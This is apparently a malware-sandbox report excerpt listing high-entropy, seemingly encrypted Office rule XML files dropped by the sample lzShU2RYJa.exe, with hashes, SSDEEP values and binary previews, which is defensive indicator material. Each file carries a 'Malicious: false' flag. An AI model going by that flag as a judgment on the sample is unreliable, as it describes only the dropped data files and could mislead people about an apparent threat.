SHA-256:	6BF809B7CA76433C57BB4A706A30CE74EDA2FCA76110660A5455CB9C4A6F9860
SHA-512:	0DF0D9E0CC7FFD2C9F79B0C7E6BE1000B412B77D3F84393B296588AB63D2958FE6197A8A33849659641FA3785BA304267AE821ED1FA63B323F843D1C1E848C27
Malicious:	false
Preview:	<?xml......x.0.J.o...d.`..PB.S......Q.]!.S.......?.rz$mX.t ..:3..\.....f.....{.z......]......#!&..KK.4.......^...1..l.$Z.6.(<.#...N.>...a\.@3.#..dn.G...nE.b....."..ViD~{.x.%tsK......:>L.U./.!...I.d.d?..J..0V....,.L...>$..]q..%....2y=3.<21..f..........f..Q.8..#.@..l.4....l..^..Fz..;\|n\G.CV. '.G...j.JO.8.....Y{...J...U..^\.+ ....8.....j'-.O9..7T.cu...j.P...X.FR.6KP:.W.{o..O(...........y...*._..wJ85..}..%...a....-....?..H...Z...z..c...lel<nA6#X{....r`...)..tT.Puw}...."..%.Rj.Y..c....t.....l..).{Bw.......yge6....cD.8.3.4.N.K&)/..H.....:QKu...G.....]mJ.pK.b.V....^aLV.H......(.@......W8k..&@Xg3..a.Q.$F.J%...{A..}.QT...^s...x..$..0..s.`..D.(....u/'....e...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.867434194378839
Encrypted:	false
SSDEEP:	24:Adl7ktpEYy45qrwPrBGt3nGKWLtwHig/D3ixcAhU9ylbzadnFxIUTjVbD:Adl7ipFTBZpwCg/DgU0pOdfZFD
MD5:	780C5E60137EC036553C9E6645792179
SHA1:	2D1EC632544635A372DC62CD1118549FD776D800
SHA-256:	88B8AFBFF6DAAC3008F61D32357CA9F926B180A485869DCD55B532AD8D9304D2
SHA-512:	52D0589B021D46A3B843C2577D7FAE68F6AB39827D2065153C2732F9A9785E1CE414D1DAEA7C47F627987D3E1F36F0CD0098D0FA06A5A50C88A4C52B4CDB71E2
Malicious:	false
Preview:	<?xml......u....zEoG......g..&...N.i...\|..7....K+2..l.....-Z,.B....6...b...>....D..T.YD....(..z....S...2...2!.9.a...........D...r.#/."..8..f.L.pMs%V..fv..?...o~V.].S.6..gCD..La.{N...R.j...@...$)..f.9.F.8!\.(...IZ.."+...=.~C\.TV.......(3..e8..e.u..... ..%.bt..u.).v.1.....E....,b..G-....{C...MCT....rI....s&r....f7....;V.h.C...}.F....i..F....z7.W..'.$....P.Q..F.....8. .....\|p<......\...%0..c.6 ..(Oa.^sR`...+..1J.X.,f.L.a{..v}. ..S`xv.]...xeX.9.....!.......A.U.............N.8K.LIw.....e2.}........Te..W.=.'.v..]Z.TT.tI...a.`...$..{.mqV/.k~.[.u...@..Ha.F....X....0......w...wq0n.:q....{K......u".C.V.H....$..-&..<2..B....(E<b.}#=...9.r0:.r.....F.X.s...\.<g.....U.(..T.j.xC.z.a....\|..aY.\.K{...E\|X.."..%,<.W..3.Z..6......P.I...aK...HT.._V...e.4..\u[........[....;.jT..2B.......y.2iS.X.hn.T..._3}..\|e.BKC ....%7...M.........".}.78S..x.....ow........]".f...4.F.Q.6..n.Br.(\...C\w...P..N..z+.L.f..F=.?_37h.p$n.-..-....../........y@\.C...y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.6290037271302955
Encrypted:	false
SSDEEP:	3072:ifW9+2SMOAiRx2w6oOMVZKZfG0GKqyr3cmpsrUiUxcX:yW9+2SMOA3oOJZfG0eUFm
MD5:	26AC4BA0B154651BFE46038A1258676B
SHA1:	333C9AC4EBFB6140D76F0EDBB70990EE5F556FC3
SHA-256:	843D84756EAA266B8104A540DAE9FE9B3CA0E810AEED4E7A783DDF80C1C75BCD
SHA-512:	D89DE342543E512BB226C23AF4DDAD972D2D9CA5E254F024CC53718D038AAEF2B63D5B0592E1D8B54410C41BF2471719A5E72FB66592AFDE46D3B92701B759F8
Malicious:	false
Preview:	<Rule.......Z.ES.J[U..u.ic...N,..X...$[5...Uzx..T.n..U..:(...[.2.4..z[.{..9o...A. .XBF.#S%...n9..1...3^{i}[....uE....O....d.a.a.J.ng..^5(......../pEM.}G.L..2.E..Q.~...-...d.....k..1,.S]@.....[.pQ.2r..<x.-..~r.\|:.K....A..c.uB.7PwIEBDEDB[..e$}=...L.8....HA.9....s...2....S...../.H....{.W....2....:...........M}.JJb....)t..6.1..,.u.q..1.;...\.....K...sX5.7..vf..zf.CPg..9Vb..$..S....w.E..l..FJ..Th{..V.a.v9.........#.#..s.'..m........:..1.ba?...H!.[...zBA.NT`.zZeG...A.D.It E..G.Xs\|..:.0S.3;a..Z...P..R.a..X~.R3.......p.."6.}.....dkK'$.6..+^....jZ:.D.3:....gT..._s4k..P8#..m.;B.-..R.{5..w......M.-.i.;...v..b.#..4 .U.C....~"..)5..D.X......jb. .<...po..v8..yv&...+...8j.h...5....H;../....!.<..y...n.:........v.H...Z.....0. .$.6..u...\..`1x..t..E...e....j ..h......Z.a.g./g.5&..k...j'..l}'..[.o.p....}.w..*..@>....Z x`.@..:.`...e.8...._.A.NR........It..Bu.`]u>......Hrbm.!..i...\|.$..U.YJ...M.X...he0Qr...".`\|.>.i...Q`C..f{>s.8..g...1^.3.w....27.."..L..Z}VrWu..xyE..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8905137166378925
Encrypted:	false
SSDEEP:	48:08u5bgagcU3LyLjeR+FMUwdxeoBkVaxr4FD:ygukL4KcedxeekZ9
MD5:	FA9E6B069BFFA0B4085F492A7B69CC20
SHA1:	B63E2A2A8A3799AF501CEA0BD96351FB3B0B13F8
SHA-256:	6DFB27197AA6FAD73DD6B847E01F72DF4AEA491D6AEEED17AAD0626CA986F773
SHA-512:	ABD70F68CAF633F9D10ECA492624EAC13738108540F38287315FA4FFE60AD9BBDF02BAF21E313E8FE500F9132D526CF92FE6C027A9383F62C9B277775A35C57D
Malicious:	false
Preview:	<?xml.;...{..o..u.~.......SnpQ.."..z.p.k`.yX..3.j.{.l...msD.....Fk.8...~..Q.[..#..]p.Q..T]..:.....?<..w....E.P.r....3....d..e.l......r.7..<...u...1.d... ..G2A........I....#K...........g...".4....t..l%. ....... .G..q4..z_...k82....?...^x.JC.lB.J...j.8..H^X../c>..<#S.....5...Z.e...<](d.H!-k.. ....=..]..B)7/=~...'...L6...U.x.).^(..2..7.....3....S+A...:...H24j..k5...`j.6.8.2...5m..]M9.....5;....)txF..}.M...Y.}sS..Tw.P.l.-......{w..._t&....".uv.....-.FR+..t...6....-.%...D..M..z...T.c..&....O.....RE.F(W.d...k.+....4..g>...e...ji..:H.$)A..I8....J.]...d.7.....X'..lRr.U/.lr.f..`.L..W.l..'>{..1..5B.a_.O..[...nO..:...9.vc@r....#..A..5p3...p$H.. .dk...S.4.'...{.CYS....PY..M...D..@=.z..l.G.L.;T...;sfe.=..'........._..y.....j.C.n.......(......:/..."...^~..6/.".(.......Y;U.W2O..g..gLL.A.or.~\.O.$.L..3.Q.A.R.m..`I....8....k..l%.<.8.......g..S[,A..0..8..7...{5...............\5F+.0..V..2dD.-...9.8..b........;..jF..u.H...@...Q..$6........_.J.Uy...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.871592575789961
Encrypted:	false
SSDEEP:	48:s/y/YSsfnoAzcje4wy7yyRTMzXtnTo6eRavFD:s/ai0je4wABRYzXiav9
MD5:	FA89ADD9162646DF87EBB8266977B71B
SHA1:	887A72EB69857D3C82C2A916BFB9068D132E76F3
SHA-256:	1C824C8322CD561580B6A4AFDCD1923E16A878EFE9D0A34D46485FBE89EB0D75
SHA-512:	FCCD15FD48A9121EBDCFCA6F5BEEA24E3B7BE8234DC6EE78DCBE8B51F52A492E28EBBBF805CFCA153ACA5953FDF9C70F8344E573C43F408048FBDEF424FFF3E2
Malicious:	false
Preview:	<?xml....+4.B.8..@+...b.;....Z....wW...w.....\..A>%..cy.`Wh ../.._.6.A6N(.....[.:..&...W!..Q........PN0.....FK... .37.E#...P.I.........I.....LuWFe.P..G..`I..P+Z..f;3.h.!.....+.l.sm..$U4O`...<......Yh7.\.....4.).E..7..{...U.k".2.a....[.X.;y.... ...m.^..[;6...a.".a.....&.d....rj.),.-@hW...lEP....(. ...e.^.9......m....Vq.iQ..71q..`m.}&.K..m..{.....Hn.)b$(..U..[..3]..g.......}.QD.K&.......m....R..?..lc......Vq.O.M-.OW....3.{.w.'=\|ZJ%ou..s#...V..?..t.~.^......4..{uN..:.C..7.......A:.....L<#..v...B."b...jg.y.ZVS.h.......4A..F.w....`.+......d:...yW..;.J.Jv.....Fs.<A7P...3......&P47mD#.0..........7.. ._...j..........i.L.V$.1.4..).{.fi.S.CU........iK.........s./....\|...y..>...(?8..].2hl..9..8..w2.l9.:K..1.d..#lD.M0.W9.&...X=vAP<.T#.....r..a....K.d........{........2%...x..j.3....t/.d.+S..`......J.!.....j~X.E..q.g.#..._.e-Z.T.......&.`Fz.d....q.R..)}.9........j..(z#...W....E%.....]..Y..Pe..........S...o.. .K~...{H.....e#......).d...c.~.@.}.p.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.871331106892136
Encrypted:	false
SSDEEP:	48:+bmcETkt4N3u+TmFN4qSuPZl+xPgRR+a8CNFD:CtC3gjTOtA9
MD5:	0AA0B537187286DA1B0D7C9BFD70F377
SHA1:	40933F4DADA0BBCF4D016AA1D72C65A1716B40F6
SHA-256:	491D87D2F7D50A38FD40325C0B7723EA6D12F79B79C98901CB80D576DEF2C99D
SHA-512:	BDC685A45EED0749B72A6BC9C4D9EBF4F0D24827C61F94D190C0C7E96D31467C706ADF153598504635426837DA2533CFDD50B5BB1FFB569A3B09331B5EE1C6FC
Malicious:	false
Preview:	<?xml.4.V...u.[w.R..\......+Ts..(....)O...2q.T...;d0.J.._.....P..ey....f..P5I..).C.v.F7.{..6..3..;...{.8Y.f.Qoz.^S{.]....j..5u..H........m.l......[.2...w8Y.).g.g.?V.Z.Y......R.?.......jm.[.2..;...:.....4.m.U....-.{..Dx.......\).............@'p.....8..E.&.b......I..\Z%C.....p......V.sy...r..Yb......3......`.."V.;^.^.I.......9..)?.lk@?..M..`0- .\|.}R.I....'..4......4.9.c../.1..D.z.;.-./J.:h.E.o.......`.c.....YH...{.,....v)\|..>...1.......n.....[.>'....;..D...Z.x.G..d.<....E.BT`...B.B.f......*..G..+....:z1x..9.Zv..,n.I...t..?....1BL..j.+..HaJ.Lu0......J.j...z....b6&.....^=..K......o...w...OD@Be...o..F..r!V.2..h..fO.yh!..D...B...=.B.............N.k..%D.....M.(....b...M.e...gJ..L.....&GyEuV..Z...q.c..sb;...D..>?.3.Lh..k.b....@...,.a..%X^.y..z".P........!.../A..K..N....G...S.qZ:.q..lE.x..~..Dl.....K(...d..P..0.....k.x.W0.....^ ........(?... .>4T-....L:Zq%...jb........yRF_....f.v.A..5..g."........t..c.W...y{...?X......j./.....{..9.b..&i..1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.899861952366568
Encrypted:	false
SSDEEP:	48:xUVwMpnkOrUbRrM+eF15lCohvfDzXvqioJ/rt5oYf4FD:WVZpHrUbRRepQohvfDz/FU/joYf49
MD5:	DE9A6087AE911F68F90767FF10E62F52
SHA1:	DA59DB3E6FD66301B99D88429AAF4D7E5B695BFE
SHA-256:	01C7C50FCE5E77C137C1CBE2C1AD5330E7705EEB87726111364F3CE0F052BDF0
SHA-512:	3CE88661C46962713927513C3117AF4C8D01DDE745A25FB80F7AFDBA457166F5952F997D73B25BCDEA8D2EB1FAA5EDF7678519C3980F1811078B15B146D1284F
Malicious:	false
Preview:	<?xml42..a.^.i...G0.4....5.I..\|:$...pU...',......'.....k.Lv'[h...R....A.ne.>o{,.@......a..3_..Q.8...(..Y....t.V. .DR.6.~.`.!.~...P.......B.J9U..Vhz....e.3S...."E.E....e.C.\@..].E...c._..@.5..^...]O.).~4=.z....O..S. .J..."...BI#.g7V_....e...Q..>.^5P....Y...;....B........<z..5..I.l......2.y~N\.E.6......M,G..lO..d...v...6.).&....C.....a..z.sw.oB....S"$2......P..B..Y.mJ.k{..%..Pr4.'...E.t.....I..V......7S.i.(s.:......o.y.Y.l...3V(...q...e..Y....~o.A.>x.w.x.}.-.K.Z.iq".=.5.............q.S....,T.._.<..!`..F.:. ....M..p3.EE...'Uv...ZCG.2........~'..I[.M..(d.w...">.....V..r..#.s.WI.R.....B./.0...:.v.c.G.J...y.<.x.+D...J/...y.2.....9...dB...L;..S.lh..\|.#.....\|.Pj.....!.........\|...r}b..v.H~&2.......{.....$1tJ2...o5.$5...0..D@.....T....~.T.2U........n#j..ro......JM.b...f.K%&..WM.!.(.%^)...ic?K.}m....:...\..d....H..@}Vu...y...m^.4 .@...z...P.MI.G.G...q..*".'.~.X.#K...Xa=.]/...m.Z.^@.h.V93h....kdc......YsZ....]..M-.b..<...i.a.Km....g..>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.880564095390147
Encrypted:	false
SSDEEP:	48:iJdP7X368YeOAR3irDGVDPA0aL7DM/E/m7FD:eP7X368YeOjkYdL89
MD5:	7344F5002F1D833133ACDA59D772F71A
SHA1:	DCD7266379B36E2346531BC83E0E7D3BEFFAFDC1
SHA-256:	75102A4E03AA1DEF7005CE6FDF70949C0FCF1580A1241CBA007B6EA8FC07546F
SHA-512:	E519BAADE94A9DDCE7A63747872F2870758A646990F8805B226A1F63827BA6EC48A47936F2F3290207235C671F3430F9F7278170B3A65E295DCFDD06A81C6550
Malicious:	false
Preview:	<?xml..]..D...eK......:;].......S.Z..I\|.........9iG.<...>2.-......&.x........7......1i..l.....T-.....5i9}r@uOK=H.^..n........&x.........._B.Qe...S.--..f-d...I..j.... ....[.h.i..N\.O...Z/S1.Y............G...&+O.a..G..LdeqJ~...0;.^......j....Z.i.vU......E.....I2..}_......6.SUBG_.%...c>\|IW.......w.....z4.L..`.M..x..!I....w....B]....W-.......I.Q.dm...QKpx..fL...8....C...&-bW...i.......,.e>......{)4.S1..l....H.:.>...5..5....@.6...R0.+3T('.....aAi#...n..=.$<.h.e.3.J>..2M.....E.Yf..q7.AS_g.e..0...i\.u.a.X...4&...u.2...2.z.3. ........^...d.Z.H.R..aS#.ns.H.Y.{.I7.z.y.M.....3{j~A....."f......l.Q.lP$x...Kt..g{...amtg....o.}F{...?.>..q.e=zsG......+"..6P...R../]..C...i..U...P#ik......@d....G.%.;...n&..0...V......H'........p..`.fm.....].....Eo...~p.V...<.....i....6_.B....A..MCj..]7.i9..,...._..c...\.x.......~.D!..w..J.,T:.1..`...o..d..l...T..?k.w...../.........>....[nA.....##[0(...%{\|...f8...J.*l.O.....NJ....\|...).qTd..'....Y.H^..rl...t`iY..%@4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.877894068218392
Encrypted:	false
SSDEEP:	24:SaHn+joWf1qm569g+MzOVWEnS09iAP8zpyH4gKyQbf7hDwBs2gWQ7nhYO+VbD:xn+jVf1q6+mOVWeRiJzkHWlD/G4yO+FD
MD5:	DE1125B135E7F258273F040B0B936C08
SHA1:	42F5B4E2E1CB124953E78DAABC11C836361DEEDA
SHA-256:	F65931383DE0EE8076BE83125C229B43FDF6828CBD294B48B864DA2C1CAD8ED0
SHA-512:	564B8628D61200792AB8D7EFD0A49BF00BCE21609CF349A2AE2F164F4C4EE942F2FAE15723437D1CC2D1DA3DFF23384152937ECC6AE2A239D40C8EF6C3F6F73F
Malicious:	false
Preview:	<?xml...xy~.s...V..d..E........$.....1gr..+..pg\|..\|..V......Bw..Ef4.~.s...xV...1j..K.e.'.V6..h..-VIri.On=.G....seyL.....3.n9._..h...v..@../.\|.....-.....$..N..V...La.kHt.l......pi(.p.....q%.h..k....A...... .Th`......it....w......[V..,...."..X;.\cES.k.`I.Q..3.XE..w..Y....7.y....j.m..2..\....\D!.....:{..h}^"n1.....#..o.Q.....n.'.....B.z;..%.....]fO7........e.Mz....r.....l.\|.....=..`..K..Cb.7.:.......H...q.K.fD..0^...y>...d/y.q.7..d.........^4n.......'..... .IO..z.y.Q.C.)hP"...C...NW.......@...x.!.....)..q6 ..+e...K%..?F....8<s<.{<......wyo.FT.L{.iQ........._.6.z....!&e...B.X@..."...].[.....=\I.....q.=.$........{m.Y..f....Nr.5~.r\...AM. ...Q.M.`....^p....t.LD.+.........M.H1.m.$$...m.....".&.4...8^.Y...yL\9._.>V4....8.R.!..~3x?..N..:+0..y....gys.....3...c.`'}..)%D...H.f.<.a...o....Y.../!.+Y...ja...p7.'........yK.T'.mt....(..%.,....W(.F.]...}.y.8.7.....q.k.)Ck..yPn..9.......N.Ji....P".O..<..s.2...^Q...-_}...f..A...8.Su....RL...'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.872034264382379
Encrypted:	false
SSDEEP:	48:pkqsHBg6PROLPdvGXchPdE9pY34Q78qcnYUPNFD:p4BrOLlYOPP34Yf7Ul9
MD5:	ABBDF7BF2F0C4BC7B16DDAFA0F88B204
SHA1:	7FF71BDE177FF853473C8943E37F69AAB1D2C84E
SHA-256:	3B17E21233F7581C4391AD0CF573286DD6F941887C7E7840F673BFF4D2D71BD1
SHA-512:	4220E2E6A8DB2D2199E49A56BAE54571D29B69BFF9BDBB201115077F292577F4E7D57E73C0C897F80005F466015783EB3AEBD2E36E282C687ABA59356C94659C
Malicious:	false
Preview:	<?xml.:.&2I!.Zi...oC...wK..A.,.1j9.,.>.h...l..k(..q7Hc9.Hn...wC..S.R.....{.7..[a...^&...Jt.t!.5.. R.y8.....{F..z.W....R..g_j...96Z.3..........j\y....\..c...`...%......;.YOwt.e(.`.f.~4......T.......\-..D.&..v..>....i.W..F..j-J.....+.....zn'..!1....).pU..4...H7u ..Q.C/..s..[..+S..d....H........A.0v.x.,....z....#. ..f.i.....<.d.S.N>..j....8...4..:7...R....>.K...../.zn...I....).%&..f$f.=.QJ..a.jK...<.!^)..b)/..{9..,H....R?...pd....\...<...M.X4]..1......a.k..1.c.....W.....Z.P.6.Lm.9.....P...<U.c.q......h..gF\|.l.'-.....[Y..C._.(.SN..?i........;.o.H.z....&...D...l.".;{...npy..l.#w;........4...\7k@<I(.I....Yy.+A......v..}s.p.-HPV..S:.f...V<..#......f...5...@~.IV..T.T4?.pb.P......_\|.....BU..0m.3....... 4.;...L}....p$....,.}y..f..1g.:'.6.B\e..Po?.....h.\|..Fu..uro.....r%..\|....gT.a^.......a.{l.)..;L.;..Lv9sK....../>N...M....u._.s%.*.r..Xve.&.1N.{.)$...I...6M....H.......z{#.yl).7k.....I..R.....C...\Jt.=........NYw...YZ..fk.....v.P.=s5'M...SR..{.)L.G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.87440897525528
Encrypted:	false
SSDEEP:	48:P03XqXayfvmrn5oG7eC/5Gbmnvw+lj/v2pSkGvthQFD:s3Nyfs5ew5phj/v2QA9
MD5:	B8DA1A1BA2E5451D4E7D74048C3F84B7
SHA1:	ED1DBA5F58FF5985B639F01E3B0410E04E1D942A
SHA-256:	37FDA515ABBED41CFB838F179F65D454AA90254C63A8AF3C8540502BF14CBA66
SHA-512:	CF70873441042465B0A0141CA538037A521B9951663A2C37A082732963ABB3DFFFA525E408D4DA875B04FFFB2E214ADCEB1728EC8CB9764F5B49A2D7DF9601A8
Malicious:	false
Preview:	<?xml..j.........a.4...<t.@..p.. ..E.p...%..$.-..H.......c..z.......Y".f...5...=qQNSjx)..9.Hn=.zS.aZ....D...H.c...?..Fj........uf....jY..C%....]_D........)..ep.g..H_.S..jb.....g..p..cL.gd.....0^.A..P...f..\.."&.D.E..\.h].JT=./...-....0D...:V(...t..;..Gz.h).f....N..c..S%.G>S....+..h.....T..wCf..A....&..+1F.]..9.H.p.G....@.e`}..q.:.v1...X...gk>.KK..w.(-l.....2...o.bQF.=..QUy.X=yX.....O....f..P.,....2C.T.h5.v..g...a.E.~(..\|HFG.......F.`....=.......).-..................=.i.'w.2%...m=D..b.........;.s..L...D#.w.H........6...4...\|0..^n?.z.H.h.....w...f.Dc'8<.......A.\|........].A.M..J...N..8...9....i[k....a.N..%...r..a.)..8.P..6!..........{....L.%......u.ae..]n... ..h.I.F.%.jZ.6s..I.....E_.............>.d....$.&..C"0.f.....u.g.H.He..JA.Da..K.?.G...}....z.jbt3.B..Z..^o.)uS.1+.2._...[?..]..jo......s2i].T..k<5C.cZ=......._..@.0{.o.!.&N.._@?...A.v.l..lwO3.....D..G}$G.....e.....G.I......2.B&..f.q2....e..i.).#V..(...{.........ch?8....c..3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.864845355777262
Encrypted:	false
SSDEEP:	24:xGtU7ZXyj5P1qKZWUwOYtGUf3pXuIdZHWt/C73ITKeScyWnFoiXiVbD:xUIZijlMtNf3pXNZHI/CDSSFD
MD5:	EBCA3D09765918DD5A0434E93BE18896
SHA1:	776488FF3F3FCDC476F35620A6F1EE8E2BD76A66
SHA-256:	BD3CD3DFB2765C6AB64FBD5A85C7244ED23C6E92645B33FD9440F93E553CADCD
SHA-512:	A7F27AA1B97A49690032292BEC10C8021648433488ED3FBD095C76E1B0DB76BCEC75A9F15B509DCB66EF7C017EF417135AC92E634FBD1CA310D0F221D1BAC651
Malicious:	false
Preview:	<?xmlb..G.[...]...f...#.4.@B..8r..^((.m .v?.~o.....!.l....3....C.&Z......%E.{.z......z.=u.K....v.,~c...6?...y..K(......K.......'.kT..4'j).i.BL^..P.~..hyA.S .R.~.i.?%D.@.C.u..\|8`W..'N......-......Z..T..#;.Y=f/~{........4......~...^H.U.I.F..>..^........A.+..6..p.w..w..!.b....<......\.......lT.\...M74.V...9.'.........C.......O9sn.v.....vt..M...."..m....z......\M.?...u...c....G.2?.P.8XgN.z..a.....9.uQ.$ ..Z.%6.5..~.>.."..SD....<mES7.H./..V.Z....Y!P@.[..G...E}.Z.~. l.K....A..ph.nb...!.^/\|d..t...z.TaB.}.O.2d.[`.q...L[.,....r3.....n.......fP.?).: .....2h..............U..;.C..Lb...._.....c.y.wX..D..p.e....@..........X.U.?.....3d...Y....h..S.-.4Q../...PY.R........0Y ..A........$2...!.k.2..0.....V-.......}.r..L......p...C\|#/r-.d...xi4^..}.,eD.\.s....1..N.\| @l..X..-..@.......D..x........d..t..V..Z. ...v@...1U.n.2...V....mVqw...gpRn.....p....-..)...;.+...5.F....a..gR..5...;.`....hCz{.(%x...C.R..7......-J...N....Y..i........"~fr..F...h..{Mr=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.881848571822961
Encrypted:	false
SSDEEP:	48:eg7G0XwuaaxIN3d6KIHDQ59s7izk9WgdTRFD:xhxOdJIk9Y9Lj9
MD5:	9FEF41F2DCAAC1F7FEDA922D085522A6
SHA1:	710F17C2B0A91EE335AB36863C317518318DEF2F
SHA-256:	67355C6C46F2B36A34E9C10F9282C4541CF154198312E47174FACAC3B9D9C849
SHA-512:	46249C1CD46639B1CF997EBF39B84AA625AFF1F7D3CE4923E53FB990136B012AEFE5FA2174E655DF099BD59F31E1A46C21FA93AB763C1930E32994C2D01D8A99
Malicious:	false
Preview:	<?xml..#.t&..........I.f.#...E&...^.n.[k..tWO...3v]5U...!`..E.l>..+vDE.y.N.>@.7C.:.i...@7..6.F\.$.....)>zf...{.nm..\|.^Kd...!.a...].=.Wo.A.......q....a..1.......U.m.0....8.e..JO...GY.Le...N..EJ5/.3.9]..U=....V._..u..$..F.....EJRE.........R.\>"..7=[+qq.E`u...?@..H..vZ.S..2>....9 ....B.......j;p.2.P..Fo.^f].v?.w...B......5.E....c!.E...~@.K..N/G.]...\|ucEl.........,.t...B....e.N.'..`Cx.......U4.b....^ P.nc7...)Y....gh.....M1@....7Hh.g3.+s.C.......zD..b.U!.Dh._n.K...=......q..^..Ea..l...@..!.A..........R...0..........i..p.f..2.k.....4..1..)...k.;Bm.._..,...8J...H..!A.....'y...y!p.'../Ti..p..?.~<.....d8../.gf.......~Y...hi?..r.a.}.\| .F.%.O.E..+x.......9............Q...R.aLn....e3....9.....<c.s...mf..F.R.A...z...9..(h/i....(,j ..Ml7.yp.dGK......C.W8.IK.O.^.i.z#.}.. ...Q..._`..j.............o...g.{wS.Q.v.9...[l.... .B..)..>e.t......gD..o.Ng....6MF....B..5..$...o..^.J&.<mp.8ov.4.....k.~....$]Tag..-K...%R..h2m{FH.v.z.x....}i.v..tP!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879611629876155
Encrypted:	false
SSDEEP:	48:Y4awjXkB1MJVxf4WtGo4GqrjsFwqsDacFD:lL7kB1MJgpoMUF49
MD5:	02F55666328C16DF832D90E243AE09CB
SHA1:	E1EAE59322663F9C777DA80A5F6C52E1956D9AFC
SHA-256:	ED8D9412169B3321DCE3D0C67DA3D3DA60DBCAE0DDB17CD0F326E6D4D3844B07
SHA-512:	23F3BEFD31D745150C8E528564E7062C59175B18C5A5A8DFAD17697B67A59E9C66A87D082C9C22DF06A741E4DC907D769985032897F0BDF34C506A1E22CD94BD
Malicious:	false
Preview:	<?xml.(..h.Gs.Lv..#.....^/.B...Q...0......F0.q.......3X&....\.....]...<....CY......W........`.. J..8.f.N....2L..,n.mF..;X}..I.....=...s.F..iW.I...h6..#V.~..~.3E.%]N...Q..}T.....n.....oM....8'..N\.=....f...^".....nX;bh...&6....e.O.n...:..K.o.AZY....__..2...,...A..{.jNc>.c..M.7a..+.M".q..".u...\|...1.......~.....<h#../>..G..2w..D\F_.......rjoTn.Q..J.YI............tAW........r..2......x..-D.'...X.7~p......n.....`]..s.dY......Yg.......j..:..A...o...(....(\UA....;.$....`.u.k...0J.:......"..W\|~v.YY.=..8.w......[4gn.v...+.Z %. .-h#jW.U.<..Nh...1lzB.d.x..O7l/8..Ze.ze.e...c#.......F....7M........z.{89I....qz.\|8..J&B....w...6...X)"......e.......B.5..........2.6H..uH+..'<..6d!C.U.e.....czr..1..X.L.2-.....i...E%...o..F:..{g...Vy....x.-e.B7A...(Z._9GJ..^..d...@.FM...L.@.._..Ys.. /.#Z;M.....P,.9...6...\......k..;...n.B...O..j.Q..).{..U....B.F..t...(R]...\|u..y.*..cU.D.i.T.od.%......c\|..M..5j.Qo....?$.A)%.xF]Q+.....\..'~lac....`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.885951592009022
Encrypted:	false
SSDEEP:	48:7AuBlffXOQkfCpy3kY5G1UV3sLOvOUxtmyWK8eyt2FD:EuBlffXSr3VOUGMOUxRYt29
MD5:	235E8912718C3E3350DB0B09785BBD63
SHA1:	53D9DF801A255E08B5C93AFAFB932ECCD281171F
SHA-256:	1DEF69A63F7D41D1B6B965EE0103F54AF7A8A93BC43B936BB8A3FDAC089AA9FE
SHA-512:	5B9F21E44A07BC0BBAEE4304A0A13B04BEA264305D2068E29B2D2EC192F9FE18FC92030FA2EA27672450F3DCB0413BCA0635682D1AB566AFCD5B3EDDE59049DD
Malicious:	false
